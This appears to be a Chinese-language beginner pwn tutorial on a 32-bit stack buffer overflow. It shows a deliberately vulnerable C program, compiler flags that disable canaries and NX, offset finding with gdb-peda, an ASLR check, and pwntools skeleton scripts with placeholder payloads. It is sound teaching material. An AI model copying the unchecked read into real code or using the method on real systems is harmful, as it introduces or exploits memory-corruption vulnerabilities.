建立一个文件1.c:
1 2 3 4 5 6 7 8 9 10 11 12
| #include<stdio.h> void func() { char name[0x50]; read(0, name, 0x100); write(1, name, 0x100); } int main() { func(); return 0; }
|
0x02 x86下无任何防护机制
编译方式:
1
| gcc -m32 -g 1.c -o 1 -O0 -fno-stack-protector -z execstack
|
**m32:**生成32bit程序需要gcc-multilib(x86机器上编译不用加)
**O0:**不进行任何优化
**fno-stack-protector:**不开启canary栈溢出检测
**z execstack:**开启栈可执行关闭NX
首先寻找多少字节能溢出切刚好能够覆盖return addr。我们使用gdb-peda提供的pattern_create和pattern_offset。pattern_create是生成一个字符串模板输入后根据EIP来确定覆盖return addr的长度。
打开gdb
1 2
| gdb-peda$ pattern_create 200 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA'
|
然后让程序跑起来输入这串字符串后程序崩溃。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| gdb-peda$ file 1 Reading symbols from 1... (No debugging symbols found in 1)
gdb-peda$ r Starting program: /root/PWN/1 1 AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA B���UVp`UV�`UV�aUVt���bUVpbUV�B��l��� Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] EAX: 0x100 EBX: 0x35414166 ('fAA5') ECX: 0xffffcd70 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA"...) EDX: 0x100 ESI: 0xf7fa7000 --> 0x1d6d6c EDI: 0xf7fa7000 --> 0x1d6d6c EBP: 0x414b4141 ('AAKA') ESP: 0xffffcdd0 ("6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\nB\376", <incomplete sequence \367>) EIP: 0x41416741 ('AgAA') EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] Invalid $PC address: 0x41416741 [------------------------------------stack-------------------------------------] 0000| 0xffffcdd0 ("6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\nB\376", <incomplete sequence \367>) 0004| 0xffffcdd4 ("AAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\nB\376", <incomplete sequence \367>) 0008| 0xffffcdd8 ("A7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\nB\376", <incomplete sequence \367>) 0012| 0xffffcddc ("MAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\nB\376", <incomplete sequence \367>) 0016| 0xffffcde0 ("AA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\nB\376", <incomplete sequence \367>) 0020| 0xffffcde4 ("ANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\nB\376", <incomplete sequence \367>) 0024| 0xffffcde8 ("jAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\nB\376", <incomplete sequence \367>) 0028| 0xffffcdec ("AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\nB\376", <incomplete sequence \367>) [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x41416741 in ?? ()
|
1 2
| gdb-peda$ pattern_offset 0x41416741 1094805313 found at offset: 92
|
然后确定主机是否开启ASLR。
1 2
| ➜ cat /proc/sys/kernel/randomize_va_space 0
|
可见主机并没有开启ASLR。也可以使用ldd来看加载动态库时动态库的基址来确定是否开启ASLR。
1 2 3 4 5 6 7 8
| ⚡ root@kali ~/PWN ldd 1 linux-gate.so.1 (0xf7fd3000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7dcb000) /lib/ld-linux.so.2 (0xf7fd4000) ⚡ root@kali ~/PWN ldd 1 linux-gate.so.1 (0xf7fd3000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7dcb000) /lib/ld-linux.so.2 (0xf7fd4000)
|
两次libc的基址一样也说明了主机没有开启ASLR。然后我们可以在栈中部署一段shellcode然后让return addr的内容位shellcode的地址注意这块有个坑。gdb调试的时候栈地址和程序运行时不同所以我们需要开启core dump或者attach到运行的程序上来看程序运行时的栈地址。通过ulimit -c unlimited
来开启core dump。然后让程序崩溃调试一下core dump来找shellcode的地址。
crack.py
1 2 3 4 5 6
| from pwn import * io = process("./1") payload = 'a' * 92 payload += 'bbbb' payload += 'cccc' io.send(payload)
|
这里bbbb是eip的位置cccc是shellcode的位置然后运行这个python后程序崩溃我们调试core dump(gdb -c core)文件找cccc的地址填到eip的位置即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| gdb-peda$ info r eax 0x100 0x100 ecx 0xffffcda0 0xffffcda0 edx 0x100 0x100 ebx 0x35414166 0x35414166 esp 0xffffce00 0xffffce00 ebp 0x414b4141 0x414b4141 esi 0xf7fa7000 0xf7fa7000 edi 0xf7fa7000 0xf7fa7000 eip 0x41416741 0x41416741 eflags 0x10286 [ PF SF IF RF ] cs 0x23 0x23 ss 0x2b 0x2b ds 0x2b 0x2b es 0x2b 0x2b fs 0x0 0x0 gs 0x63 0x63
|
当你觉得你的脚本没有问题,但是却又怎么也出你想要的结果时,你就需要用到调试了
一个是设置context.log_level="debug"
脚本在执行时就会输出debug的信息,你可以通过观察这些信息查找哪步出错了
用gdb.attach(p)
在发送payload前加入这条语句,同时加上pause() 时脚本暂停
然后就会弹出来一个开启gdb的终端,先在这个终端下好断点,然后回运行着脚本的那个终端按一下回车继续运行脚本,程序就会运行到断点,就可以调试了
1 2 3 4 5 6 7
| from pwn import* p = process('./xxxx') payload = ..... gdb.attach(p) pause() p.sendline(payload) p.interactive()
|
安全客-PWN入门